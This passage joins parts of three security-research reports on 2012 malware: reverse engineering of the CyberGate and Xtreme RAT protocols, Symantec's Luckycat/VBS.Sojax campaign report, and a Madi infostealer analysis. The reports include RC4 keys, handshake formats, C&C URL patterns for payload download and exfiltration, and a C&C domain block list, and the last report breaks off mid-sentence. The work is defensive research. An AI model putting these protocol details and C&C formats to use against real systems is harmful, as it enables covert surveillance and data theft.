as Safengine Licensor. From some basic research, we discovered that unpacking the Safengine Licensor is a project in itself. Due to our time constraint, we found it would be best to continue our efforts analyzing another RAT. Before moving on though, we were able to uncover enough information about its protocol from the server stubs we created (which aren t packed). Interestingly, CyberGate uses two different schemes for communication. Communication from the client to the server is done using a variant of base64. The messages are base64 encoded, except instead of the canonical base64 string: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567 89+/ the string used is "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx yz+/" This is an obfuscation technique that is also common in enterprise software; because the base64 dictionary has been scrambled, a standard base64 decoder produces gibberish when fed the data. The base64 encoded messages end with the string ###@@@ , which when replaced with and then fed into a base64 decoder (working against the custom string), produce cleartext. In the other direction, messages going from the server to the client are first compressed using zlib (at a compression level of 1), and then encrypted with RC4 against the following key: njgnjvejvorenwtrnionrionvironvrnvcg210public They are then prefixed with the string @@XXXXXXXXXX@@ Based off of this information, we think it s safe to assume the private version will have some subtle differences in its communication. Most likely the key is different, but the overall communication architecture is the same. Copyright 2012 Matasano Security. All rights reserved. CyberGate RC4 Swap Copyright 2012 Matasano Security. All rights reserved. CyberGate Handshake S->C (U): 34|\n S->C: cybergate|Y| C->S (U): \x20\r\n S->C (U): C->S: maininfo|cybergate|497125y5QX8qVHZ6KNoEzseP1UYFjR| S->C (U): S->C: (stripping out a lot of null bytes) maininfo| CGServer_EC3E266B172.16.1.128JESSE-3AA4AD4D2/ Administrator-=WindowsXPProfessionalx32(Build:2600ServicePack: 3.0)*Intel(R)Core(TM)2DuoCPUP8600@2.40GHz511MBConsole v2.3.0-Public4000CyberGateServerConsole2301UnitedStates/ English"English(UnitedStates)"05/07/2012--15:24172.16.1.1:4000 |#CGServer|cybergate|console1|Yes| C->S: configuracoesdoserver| S->C (U): S->C (U): 89|\n S->C: configuracoesdoserver|configuracoesdoserver|172.16.1.1:4000| #CGServer|cybergate|console1|Yes| Its keepalive looks like this: CyberGate Keepalive C -> S (U): ping|S-> C: S->C (U): pong|CyberGateServerConsole###10157| A MITM script that can decrypt traffic is in Appendix C. Xtreme RAT Xtreme RAT was another one of the RATs used by the Syrian government. We haven t seen much public analysis of Xtreme RAT. The guys over at malware.lu published a simple article covering a sample they received in an email. Their Copyright 2012 Matasano Security. All rights reserved. analysis covered identifying and decrypting config information from the stub [10]. Our analysis will look into the communication protocol of the RAT. Before looking at any internals, we opted to get a feel for the UI. On the first run, users are prompted to enter a password. Once entered, the program asks users to retype the password to confirm it. After doing so, a file named user.info is created in the same directory. This file is simply a unicode string of the MD5 hash of your password. Unicode MD5 Hash of Password in So if your password is , your user.info will contain the hash a933d13f81649bebe035dc21f4002ff1 . However, when we tried hashing we found a different result (the correct hash is 202cb962ac59075b964b07152d234b70 .) It turns out this is an issue that was introduced in Delphi 2009, when the default string type switched from ANSI strings to unicode strings. The MD5 implementation is not unicode aware [11], leading to incorrect hashes. When creating a server, we tried to change the password from its default 0123456789 . It turns out Xtreme RAT limits your password to being only digits. It also rejects any password that cannot fit in a 32-bit signed integer. Well, that s not making us feel very secure. The public version also limits the user to creating a stub which can only connect to localhost on port 81. It also includes an annoying nag screen notifying the user that it is the public version. However, all the functionality of the private version is present. In order to begin analyzing its communication, we had to change the communication IP. First, a quick analysis of the server stub. The Xtreme RAT Server The stub sets itself up using a classic technique found in basic malware. It first uses CreateProcess() to create a new process (named based on the default browser.) CreateProcess() Based on Default Next, it uses WriteProcessMemory() to copy code to the newly created process (PE header starts at 0x1610000). Copyright 2012 Matasano Security. All rights reserved. Copying Code to the Newly Created It finishes the setup by simply resuming the thread using ResumeThread(). After patching the process to have an opcode of 0xEBFE, which is an infinite loop, at the point where the thread resumes, we attached a debugger and noticed that the process begins packed with UPX. Standard Entry Point Unpacking is trivial from this point. Locate the JMP following the POPAD instruction. Standard JMP to OEP This brings us to our OEP: Original Entry Point for After patching the dump to connect to a different address, and removing the nag screen, we were able to start our analysis of the communication. Xtreme RAT Communication Copyright 2012 Matasano Security. All rights reserved. Xtreme RAT Handshake Overview S->C (U): myversion|3.6 Public\r\n C->S (U): \x58\x0d\x0a C->S (U): \xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 C->S: maininfo??????###?" a?" a?" apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa 54015d0b4a08f2d0 The communication of Xtreme RAT begins with the server making a connection to the client. We then have the following: Xtreme RAT Identify Message S ->C (U): myversion|3.6 Public\r\n The client acknowledges by sending: Xtreme RAT ACK C ->S (U): \x58\x0d\x0a Communication continues with the client asking for info about the server. Notice that before any message sent, the stub or client will first send the password and length of the message to come, in little endian format. Annoyingly, sometimes it sends this header as its own packet, sometimes it comes prefixed to the actual content. And sometimes it prefixes the header with an ACK of \x58\x0d\x0a . In this example, the password is 1234 and the length of the message to follow is 166 bytes. Xtreme RAT Password/Length Message C -> S: \xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 |-> Password = 0x4d2 = 1234 |->Four bytes padding |-> Length = 0xa6 = 166 |->Four bytes padding Now what follows is some zlib compressed data with size 166 bytes. Note that sometimes our MITM script fails to decode the zlib compressed data, for reasons unknown to us. After decompression we have the following: Copyright 2012 Matasano Security. All rights reserved. Xtreme RAT Maininfo maininfo??????###?" a?" a?" apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa 54015d0b4a08f2d0 Breaking it into its parts we have: Xtreme RAT Maininfo Dissected CMD: maininfo SEPARATOR: \xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa \x00\x23\x00\x23\x00\x23\x00\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20 \x61\x01 RANDOM STRING: pK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk MD5: 90dd3e7e19b35baa54015d0b4a08f2d0 The random string is just that, a random string of length 0x3B or 59. It generated using the character set: [0-9],[A-Z],[a-z]. The hash is the incorrect MD5sum of XtremeRAT . This will always remain the same (at least for the public version 3.6). What follows is a response which contains some information about the system. It follows the same protocol as before, with the password and length header, and the remaining message being compressed with zlib. After this response, the stub is now connected to the client, but will continue to send more info, such as a screenshot of the desktop and a list of any webcams installed. At this point, a full connection is established. The client will send a keep alive while idle, which looks like the following: Xtreme RAT Keepalive C -> S: ping S -> C: pong|937|Current_Window (Server_Name) Also worth noting, Xtreme has the ability to try to disguise its handshake as HTTP. In which case, its opening request will look like (with the default password): Xtreme RAT GET Request S->C (U): GET/1234567890.functions HTTP/1.1 Accept:*/*Accept-Encoding:gzip,deflate User-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;Trident/ 4.0;.NETCLR1.1.4322;.NETCLR2.0.50727;.NETCLR3.0.4506.2152;.NETCLR3.5.30729;. NET4.0C) Host:172.16.1.1:4000 Connection:Keep-Alive Copyright 2012 Matasano Security. All rights reserved. Conclusion RATs represent an under-researched but highly active area of malware in the wild . With both governments and non-state actors using RATs for surveillance, knowledge about them carries increasing significance. A good understanding of their protocols is critical to network and system administrators deploying tools that can notice the presence of a RAT. All of the RATs we analyzed were written in Delphi. This gave the RATs some resilience against classical security mistakes (buffer/heap overflows) that are much easier to make in a language like C or C++. However, we still found serious vulnerabilities in DarkComet, which was the most widely deployed of the RATs we studied. Our analysis of the communications should provide a solid foundation for other researchers interested in further reverse engineering and vulnerability research on RATs. Some notable coincidences in behaviors between RATs (use of Delphi, using the character as a separator, similar UIs, use of zlib, use of RC4, and other protocol similarities) may suggest shared code, although we do not have enough evidence to make any definitive statements on that subject. Special thanks to John Villamil (@day6reak) for his guidance and knowledge on this project, and to the rest of the Matasano Security team! Copyright 2012 Matasano Security. All rights reserved. Security Response The Luckycat Hackers Contents Overview............................................................. 1 Technical details................................................. 2 Attack vector................................................. 2 VBS.Sojax...................................................... 3 C&C server protocol...................................... 4 Victims........................................................... 5 The attackers................................................ 5 Conclusion.......................................................... 6 Symantec protection.......................................... 7 Appendix............................................................. 8 Recommendations........................................ 8 MD5s of VBS.Sojax samples......................... 9 Infographic.................................................. 10 Overview A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). Academics receive dozens of CFPs every year. If the victim has previously presented at that particular conference, or is interested in the subject matter, they are quite likely to open the CFP. Another email sent to a maritime organization claims to contain details of an alert beaconing system. Again, this is a relevant topic for the recipient. A judicious choice of email topics and recipients by the attackers is the most effective way of compromising the target and also maintaining a low profile. Fewer, more effective emails, which do not draw attention to themselves, allow the attacks to continue undetected for as long as possible. Discreet malware also aids this cause. After the email attachment has been opened by the victim, the malware, VBS.Sojax, is activated. The attackers chose a very simple technique for The Luckycat Hackers Security Response their malware. Rather than using a compiled programming language to write the back door Trojan, they used a Visual Basic script. Scripts are very simple to develop, requiring less expertise and time to develop than a standard back door Trojan. The script itself is quite simple. It connects to a command-and-control (C&C) server to retrieve commands and upload data. HTTP is used to easily pass through firewalls. The script functionality is basic; it can run commands and it can upload and download files. This is enough to retrieve any information the attackers want. Again, minimal effort is expended for maximum gain. The same ethos is shown with the choice of C&C servers. C&C servers are a potential pitfall for the attackers as it may be possible for an investigator to track the attackers using registration details for the C&C server. This is the case when the attackers register and pay for their own C&C server. A commonly used alternative is for attackers to commandeer an innocent third party server for their own purposes. This requires effort, however, as the attackers must firstly locate and then hack into the server. The Sojax attackers use an approach that requires much less effort. They use free Web hosting. There are hundreds of free Web hosting sites that require little or no registration information. Once the attackers have registered the free service, they create a directory and upload a PHP script that acts as the C&C server. They then modify their malware scripts to use this new URL and email the scripts out to targets. Symantec identified 25 C&C servers. Only two or three of these were active, the rest had been abandoned. Several partial listings of stolen file names (not the files) were retrieved from the server, along with the IP addresses of compromised computers and the IP addresses of the attackers. The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a shotgun like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims. Security awareness training and a consistent patching strategy would have protected the victims from these attacks. Technical details Attack vector The attacks are initiated by email. Symantec.cloud has detected several emails distributing the VBS.Sojax back door Trojan. Two example emails are shown in figure 1. Figure 1 Example emails Most of the emails are fairly well tailored. The two examples shown here are probably the most targeted ones. Other emails topics are about salaries a fairly common topic used in targeted attacks. The emails are nearly all sent from Gmail, which does not store the originating IP address. Two of the emails were Page 2 The Luckycat Hackers Security Response sent through Yahoo mail, which does store the originating IP address. The source IP address for both of these emails was the same an IP address located in Germany. Other independent reports show this IP address as an originator of spam and thus may be an open relay. Figure 2 Samples & emails over time The breakdown of emails detected by Symantec.cloud and samples per month is shown in figure 2. These numbers represent the minimum number of emails sent by the attackers as not all victims are using Symantec.cloud services. Figure 3 lists the number and type of exploit used by the attackers. The exploits are all old, publicly available, and patched. The vast majority used are PDF exploits. Sixteen samples exploiting the CVE-2010-2883 vulnerability have been located, with only one or two of the other exploits. It may be that the attackers have more success with the PDF exploit either because the target computers are not patched, or because it is easier to obfuscate the PDFs and prevent antivirus detection. Figure 3 Exploits used by the attackers VBS.Sojax When the dropper document, the .doc, .rtf, or .pdf is loaded, it drops an executable to the following location: %ProgramFiles%\Common Files\Microsoft Shared\update.exe Figure 4 A portion of VBS.Sojax This executable is then run. When run, it extracts a script from its resources and writes this script to the following location %Temp%\~temp.vbs. This script contains the primary functionality of the threat. Figure 4 shows a portion of the script. The simplicity of the script is plain to see. When first run, the script obtains the following information: A complete listing of all files in partitions from drives C through I Network information (ipconfig /all) Information about the compromised computer (systeminfo) Processes running on the computer (tasklist) It stores all of the output in the following folder: %Windir%\NtUninstallKB This data is then compressed into a .cab file and uploaded to the C&C server. VBS.Sojax parses the response from the server, looking for three potential commands: Upload files to the C&C server Download files from the C&C server Execute a command (figure 4) Page 3 The Luckycat Hackers Security Response The C&C server is then polled every 30 seconds for additional commands. To maintain persistence, VBS.Sojax registers itself to be called on reboot using a WMI event. C&C server protocol When VBS.Sojax connects to the C&C server, it does so through HTTP port 80. If uploading data, it sends a HTTP POST request to a script called either count.php or loveusa.php. This POST request is formatted as follows: HTTP POST http://server.com/count/count.php?m=c&n=MACADDRESS The MACADDRESS value is the MAC address of the compromised computer. To retrieve a command from the server, the script then polls for commands specific to that MACADDRESS. HTTP GET http://server.com/count/count.php?m=r&n=MACADDRESS.c If there is a command, the command is executed and the results are uploaded to the server using a HTTP POST request. It is a very simple protocol, there is no authentication. C&C servers So far, 25 C&C servers have been identified. They are listed in Table 1 and graphed in figure 5. The majority of these C&C servers are free hosting providers. The attackers sign up for an account, register the sub-domain for free, and upload their C&C server script to a count folder. Table 1 When a compromised computer uploads data to the count.php script using an HTTP post, that data is written into a file in the same folder as the C&C server. Although most of these files had since been retrieved and subsequently deleted by the attackers, several files remained. Some of the remaining files were the compressed .cab files described previously. Others were fragments of commands and some stolen files. Command and Control domains In one instance, several log files of activity on a C&C server were found. These log files listed all of the files stolen by the attackers with respect to that particular C&C server. There was also a log file showing what appeared to be FTP connections to the server from the attackers. clbest.greenglassint.net C&C Server Domains 2012enviroment.world.mu charlesbrain.shop.co dasauto.no-sports.de footballshopping.shop.co frankwhales.shop.co Figure 5 jeepvihecle.shop.co Distribution of C&C servers killmannets.0fees.net lampaur.b2b.cm lovesea-blog.co.de lucysmith.0fees.net maritimemaster.kilu.org sawakastocks.tv4.org shoesshopping.shop.co shoppingfans.shop.co skirtdressing.shop.co toms.0fees.net tomsburs.shop.co vpoasport.shopping2000.com womems.in.nf www.fireequipment.website.org www.goodwell.all.co.uk www.lo[REMOVED]et.com www.pumasports.website.org Page 4 The Luckycat Hackers Security Response Victims From the log files and fragments of stolen data remaining on the server, it was possible to identify eight victims. At the time of writing, where possible, the victims are in the process of being notified and any information retrieved passed on. Figure 6 shows the geographical distribution of the victims. Nearly every infection is in India, with several others in Figure 6 Malaysia. Distribution of VBS.Sojax victims Victim industries were military research, defense, manufacturing, and maritime. The data stolen was quite varied. In some cases it appeared that documents with suggestive names were stolen, simply out of curiosity. For example, one stolen document that had a military themed title is actually publicly available from the publisher s website. Other stolen files were more serious. Two separate victims had documents pertaining to the same military technology. The attackers were clearly targeting that technology. The attackers also stole source code from one of those two victims that may have been related to the technology. The attackers The most useful information about the attackers is in one of the log files retrieved from a C&C server. This log file appears to record connections to an FTP server running on the C&C server. The attackers probably use FTP to easily retrieve stolen data uploaded to the C&C server. 45 unique IP addresses were identified in the log. Of these, all but two are from the same ISP, based in Sichuan province in China. The remaining two are from South Korea. Figure 7 shows a portion of that log. Figure 7 Connections from the attacker The user LUCKYCAT is the attacker who successfully logged into the server. The connections by LUCKYCAT are consecutive. Immediately after one connection is closed, a new one is opened by the attacker. A lack of overlap implies that a single person or program is making the connections and not multiple people from different computers. Page 5 The Luckycat Hackers Security Response Despite this, the IP address used for the new connection changes regularly. In figure 7, during a period of approximately an hour and 15 minutes, four different IP addresses were used for six distinct connections. This is unusual because if the attacker is using DHCP, generally an IP address will remain allocated to a particular computer for a longer period of time. A possible explanation is that the IP addresses used are the point of egress of a VPN-like service. The attackers may be using a service through which they can route their connections. The service periodically rotates connections amongst a pool of IP addresses in order to render the attacker anonymous or implicate China as the source of the attack. There are two potential reasons for the South Korean IP addresses. The first is that the IP addresses are part of the VPN service and were assigned to the attacker as the service rotated through the range of IP addresses available. The second explanation is that the attacker may have forgotten to enable the VPN by mistake and connected directly to the C&C server. Figures 8 and 9 show the log at the time that the South Korean IP addresses logged into the FTP server. Figure 8 First South Korean IP address Figure 9 Second South Korean IP address In both cases, connections from the Chinese and South Korean IP addresses are around the same time. Either the time overlaps as in figure 8, or the times are immediately consecutive as in figure 9. This suggests that the connecting person, or program, is the same in both cases. Conclusion The attacks described are very simple. That, however, does not mean that they are not intelligently designed and ultimately, highly effective. Using a scripting language to develop the VBS.Sojax threat cuts down on development time. It means less effort needs to be invested in attempting to prevent detection by antivirus software. Similarly, using freely available hosting for C&C servers (theoretically) limits exposure. Old exploits are so well documented and freely available that minimal effort is required to modify them for use. Such basic tools, in combination with targeted social engineering, proved to be an efficient combination for the attacker. These attacks should not have succeeded on a properly secured network. Old exploits should have been patched and users should have received adequate security awareness training. Page 6 The Luckycat Hackers Security Response Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack. VBS.Sojax VBS.Sojax!gen1 Trojan.Pidief Bloodhound.Exploit.290 Bloodhound.Exploit.357 Bloodhound.Exploit.422 Network-based protection (IPS) Network based protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts. Web Attack: HTTP Adobe Acrobat CVE-2010-0188 2 Web Attack: Adobe Flash Embedded SWF CVE-2011-0611 Attack: Adobe Reader TTF File CVE-2010-2883 Attack: MS Office Word RTF Exploit CVE-2010-3333 HTTP MS Office Word RTF RCE 1 Behavior-based protection Symantec products with behavior-based detection technology can detect and block previously unknown threats from executing, including those associated with this attack. Files detected by this technology will be reported as Bloodhound.Sonar.9. Reputation-based protection (Insight) Symantec Download Insight can proactively detect and block files associated with this attack using Symantec extensive file reputation database. Files detected by this technology will be reported as WS.Reputation.1. Email-based protection The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can detect and block emails that are associated with this attack. Other protection Application and Device Control Symantec Endpoint Protection users can enable this feature to detect and block potentially malicious files from executing. Page 7 The Luckycat Hackers Security Response Appendix Recommendations Update antivirus definitions Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the auto-protect feature enabled. You can obtain the latest definitions through LiveUpdate or download the latest definitions from our website. Apply patches for the following vulnerabilities Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and similar attacks: Adobe Reader CoolType.dll TTF Font Remote Code Execution Vulnerability (BID 43057/ CVE-2010-2883) Adobe Flash Player CVE-2011-0611 File Remote Memory Corruption Vulnerability (BID 47314/CVE-20110611) Microsoft Office RTF File Stack Buffer Overflow Vulnerability (BID 44652/ CVE-2010-3333) Adobe Acrobat and Reader CVE-2010-0188 Remote Code Execution Vulnerability (BID 38195/ CVE-2010-0188) Prevent back door communications Block access to the following command-and-control server domains that are associated with this attack. 2012enviroment.world.mu charlesbrain.shop.co clbest.greenglassint.net dasauto.no-sports.de footballshopping.shop.co frankwhales.shop.co jeepvihecle.shop.co killmannets.0fees.net lampaur.b2b.cm lovesea-blog.co.de lucysmith.0fees.net maritimemaster.kilu.org sawakastocks.tv4.org shoesshopping.shop.co shoppingfans.shop.co skirtdressing.shop.co toms.0fees.net tomsburs.shop.co vpoasport.shopping2000.com womems.in.nf www.fireequipment.website.org www.goodwell.all.co.uk www.pumasports.website.org Page 8 The Luckycat Hackers Security Response MD5s of VBS.Sojax samples 0x2924339C60D4905AFDAD6664F859DE2C 0x324B98DE1F86ADE0817DA0FF4C5A38BA 0x40DDB1D8C2F000661AA3031A6FCFA156 0x4844982A4B4863505FAFAF8B52A4DC97 0x70EDAAA835D0861BE0F675E7A6EB2CDA 0xA7109C03B002CBCC0ADAB73AEA2C9797 0xBEE3C1910319BB5A4D39BCFBF2A30220 0xE04E5EB4AEFEB326246D7F41D1B50759 0xE542372D7368AF162D0B8540271B43D5 0xF174E308C86F09336660E2991E47732A 0xFE9DB18A3FDABB6A37E8FE436820BBFB 0xFF03CFB24083B2EC00684E1CB2BCC8F1 Page 9 The Luckycat Hackers Security Response Infographic SYMANTEC SECURITY RESPONSE QUICK FACT SHEET 1. Incursion Uses targeted email - Attachments: .DOC .RTF .PDF Uses vulnerabilities - CVE-2010-2883 - CVE-2011-0611 - CVE-2010-3333 - CVE-2010-0188 Targeted Countries: - India - Malaysia Industry sector(s): - Defense - Academic - Research - Manufacturing Luckycat Hackers Apr 2011 Feb 2012 2. Discovery Initial stolen info: - Directory listings - Network info - System info - Processes Stolen info uploaded to C&C server, then awaits further instructions 3. Capture Information sought: Interesting docs - Source code - Military info - Technological info MARCH 2012 A. Protection Antivirus - VBS.Sojax - VBS.Sojax!gen1 - Trojan.Pidief - Bloodhound.Exploit.290 - Bloodhound.Exploit.357 - Bloodhound.Exploit.422 SONAR Symantec Insight IPS .Cloud Services B. Mitigation Update software: - MS Office - Adobe Acrobat - Adobe Reader - Adobe Flash 4. Exfiltration VBS.Sojax Trojan dropped by targeted email Simple but effective - HTTP Back door - 3 Commands - Run command - Download - Upload C&C server facts: -Uses free hosting services & PHP scripts - Polled every 30 sec - Uses HTTP C&C server countries: - Germany - USA - UK C. More Info VBS.Sojax bit.ly/waZFhf Whitepaper Attacker IPs - China (42) - South Korea (2) bit.ly/ypnsNs Copyright Symantec Corporation 2012 Page 10 The Luckycat Hackers Security Response Page 11 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA +1 (650) 527-8000 www.symantec.com Copyright 2012 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. The 'Madi' infostealers - a detailed analysis On 17 July, we published a blog about Madi and the ongoing campaign used to infiltrate computer systems throughout the Middle East that has targeted users in Iran, Israel, Afghanistan and other individuals scattered across the globe. Here is the follow up with a detailed analysis of the infostealer used in the campaign. Installation The infostealer is installed by one of the various downloaders used in the attacks, which can be separated into two categories: Downloaders using the social engineering techniques described in our first blog post (displaying pictures, movies, documents etc.) to trick the user Downloaders that simply download and install the infostealer Both types of downloaders copy themselves as "UpdateOffice.exe" into the "Printhood" directory, e.g.: "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe" where they start executing. Both the infostealer and downloaders create fake files with random names in their respective folders. The downloaders also drop some files which assist the malware (see our first blog for details). Only one file will be used by the infostealer: nam.dll. This file is created by the downloader in the "Templates" directory (e.g.: "C:Documents and Settings%USER%Templatesnam.dll") and contains a BOT prefix/build that will be used by the infostealer when connecting to the command and control server (C&C). In order to download and install the infostealer, the downloaders connect to the C&C server to request an HTM page. Older variants use http://[C&C address]/ASLK/khaki/Abi/UUUU.htm, whereas more recent ones use "http://[C&C address]/ASLK/asgari/mah/UeUeUeUe.htm". The HTM page is a copy of Google index, with a double BASE64 encoded executable embedded in the page: The keyword "tamamshodfile" at the bottom will be explained in the 'Infostealer analysis' section below. The downloaders simply parse the HTM file, and decode the Base64 payload twice and save the resulting PE file as "iexplore.exe" in the "Templates" directory. Once downloaded, the infostealer is executed. Infostealer analysis: Iexplore.exe All the versions of the infostealer have an Internet Explorer icon, and were written in Delphi. The version used in this article, which appears to have been compiled on 10 June 2012, is packed using UPX 3.08. The file is rather big: 415 KB packed, and 1.14 MB once unpacked. One peculiarity of the infostealer used in the Madi campaign is the heavy use of Delphi Timers. There are 52 of them as you can see on the screenshot below: Numerous bugs were discovered during the analysis of the infostealer. Some of them won't be discussed here as we don't want to help the authors improve their malware. TForm4.FormCreate: Upon execution, the first activity of interest performed by the infostealer happens inside TForm4.FormCreate. It starts with the setup of a keylogger. In order to do so, Madi infostealer uses the Windows function "SetWindowsHookEx" with the "WH_KEYBOARD_LL" Id_Hook. Once the keylogger has been installed, the infostealer reads the "nam.dll" file (dropped by the downloader) to get the BOT prefix and concatenates it with the computer name. Hereafter this will be referred to as "BOTID_TMP". The final BOTID contains some numbers derived from the "C:" Volume Serial Number, as we will see later on. The following timers are then disabled in this specific order: Timer1, Timer16, Timer18, Timer17, Timer20, Timer19, Timer24, Timer8, Timer30, Timer31, Timer33, Timer34, Timer36, Timer37, Timer38, Timer39, Timer40, Timer41, Timer44, Timer45, Timer46, Timer48, Timer49, Timer50. The malware uses a lot of external files to receive commands, which is another indicator of poor programming skills. Those files are used to inform the malware about the infection status. In order to avoid confusion, hereafter, when referring to a file, it is in the malware directory ("Templates" directory), unless stated otherwise. The infostealer looks for the following files: "fsdiskget.dll": If found, it enables Timer 23 otherwise, disables it. "nrbindek.dll" : If found, it enables Timer 28 otherwise, disables it. "specialfile.dll": If found, it deletes it. "filesend.xls": Doesn't actually look for it; just tries to delete it. "begirnagir.htp" : If NOT found, it disables Timer3 "filebind.xls": If found, it enables Timer29 otherwise, disables it. Next, Timer14 and Timer13 are both disabled. The Trojan looks for "First.dll", which is created the first time the malware is executed. If already present, the code returns from TForm4.FormCreate. Otherwise, the following happens. It creates first.dll with a hardcoded stream of bytes (not a real .dll, like the .dll mentioned above, as we will see later on when we analyze the timers more closely). Like the downloaders, the infostealer also generates fake files with random names. Before returning from TForm4.FormCreate, 6 loops will be executed: XLS: 51 fake XLS files with random names (7 characters) are generated using a hardcoded stream of bytes. EXE: 51 fake EXE files with random names (6 characters) are generated using a hardcoded stream of bytes. DLL: 201 fake DLL files with random names (9 characters) are generated using a hardcoded stream of bytes. TXT: 51 fake TXT files with random names (4 characters) are generated using a hardcoded stream of bytes. XML: 51 fake XML files with random names (8 characters) are generated using a hardcoded stream of bytes. HTM: 51 fake HTM files with random names (8 characters) are generated using a hardcoded stream of bytes. Keylogger analysis: As mentioned before, the keylogger setup is done in the TForm4.FormCreate. It uses "SetWindowsHookEx" with the "WH_KEYBOARD_LL" Id_hook to intercept keystrokes. The hook function is rather rudimentary. For instance, it uses the GetAsyncKeyState, with the "VK_BACK" to find out if the victim used backspace. For each typed key, there is a handler to save which key was typed in the keylogger buffer "poki65_pik_log": It comes as no real surprise that the keylogger is very basic and makes no use of any advanced technologies. The malware uses 52 timers. Therefore, we will group them by actions, in order to make the overall analysis easier to follow. Command and control: Protocol We are now going to cover all the timers responsible for contacting the C&C server and receiving commands to execute on the infected machine, and all the various handlers used to execute actions according to those orders. Note: In many routines, Madi creates ".bat" files in order to ping the C&C server to see if it is up or not and saves the result in a special file. Each file has a different name. If these files are referenced, we will provide the timer number responsible for its creation. The server manager looks like this: The GUI was probably rushed, but it serves its purpose. It can be used to create specific tasks for victims. See Timer 12 to see how each command is handled by the infostealer. Timer 1: Check-in Interval: 25 seconds Before receiving commands, the infostealer connects to the C&C to a special page. I call it the check-in routine. Here is the description: Timer 1 gets the ApplicationName and concatenates it with ".pkklm" (See Timer 15 description for details on how this file is created). It tries to open that file, looking for the "Reply From" string (when the IP responds to a ping). If it's not found, it disables Timer 1 and returns. If present, the last part of the BOTID is generated using the "C:" Volume Serial Number. Basically, the API function GetVolumeInformationW is called to get the Volume Serial Number, which is then concatenated to the BOTID_TMP generated in the TForm4.FormCreate. Now that the final BOTID has been generated, the final URL that is visited is generated as follows: BOTID|COMPUTERNAME|VolumeSerialNumber/dastor/file.htm e.g.: abaanu5|MYCOMPUTER8712422C|6D8704FE/dastor/file.htm The final URL is visited using Internet Explorer (IE) instrumentation. (e.g.: http://C&C/abaanu5MYCOMPUTER-8712422C6C7704EF/dastor/file.htm) Once visited, it enables Timer 18, disables Timer 1 and returns. This is the checking-in process, which can tell the attackers when a victim computer is ready to receive commands. Once the attackers have decided to send commands to the infected computer, a "das.htm" will be available in the "/dastor/" folder. Timer 16: Visit commands page Interval: 25 seconds Timer 1 gets the ApplicationName and concatenates it with ".pkxm" (ping results from Timer 11). It tries to open that file, looking for the "Reply From" string (when the IP responds to a ping). If it's not found, it disables Timer 16 and returns. The Final BOTID is computed (see Timer 1 description) to build the URL that is visited in order to receive commands. Before visiting that URL, the "dast.xls" file is deleted (see Timer 17 below). The URL is visited using IE instrumentation. Timer 17 is enabled, and Timer 16 disabled. Timer 17: Save the command page as "dast.xls" Interval: 20 seconds Note: During the execution of the Madi infostealer, many instances of IE are running. Timer 17 will go through all the different instances of instrumented IE, looking for pages with "dastor" in their title. Once found, the content of the page (without the title) is saved as "dast.xls". If nothing is found, it will go to next IE instance, and repeat the checks until no instances are left. If nothing is found, a clean-up routine is launched. At the end of the Timer 17, it looks for " - dastor - Windows Internet Explorer" and different variants (Internet Explorer) and sends a "WM_Close" Message using the "PostMessageW" function in order to close the page. Among all those captions, it also looks for " - 404 - File or directory not found" and variants of 404 pages, if the page wasn't found. Once the clean-up is completed, Timer 17 disables itself and returns. At this point, we have a local file with the commands to execute on the infected machine. Timer 12: Command dispatcher This timer is responsible for parsing the command file. In 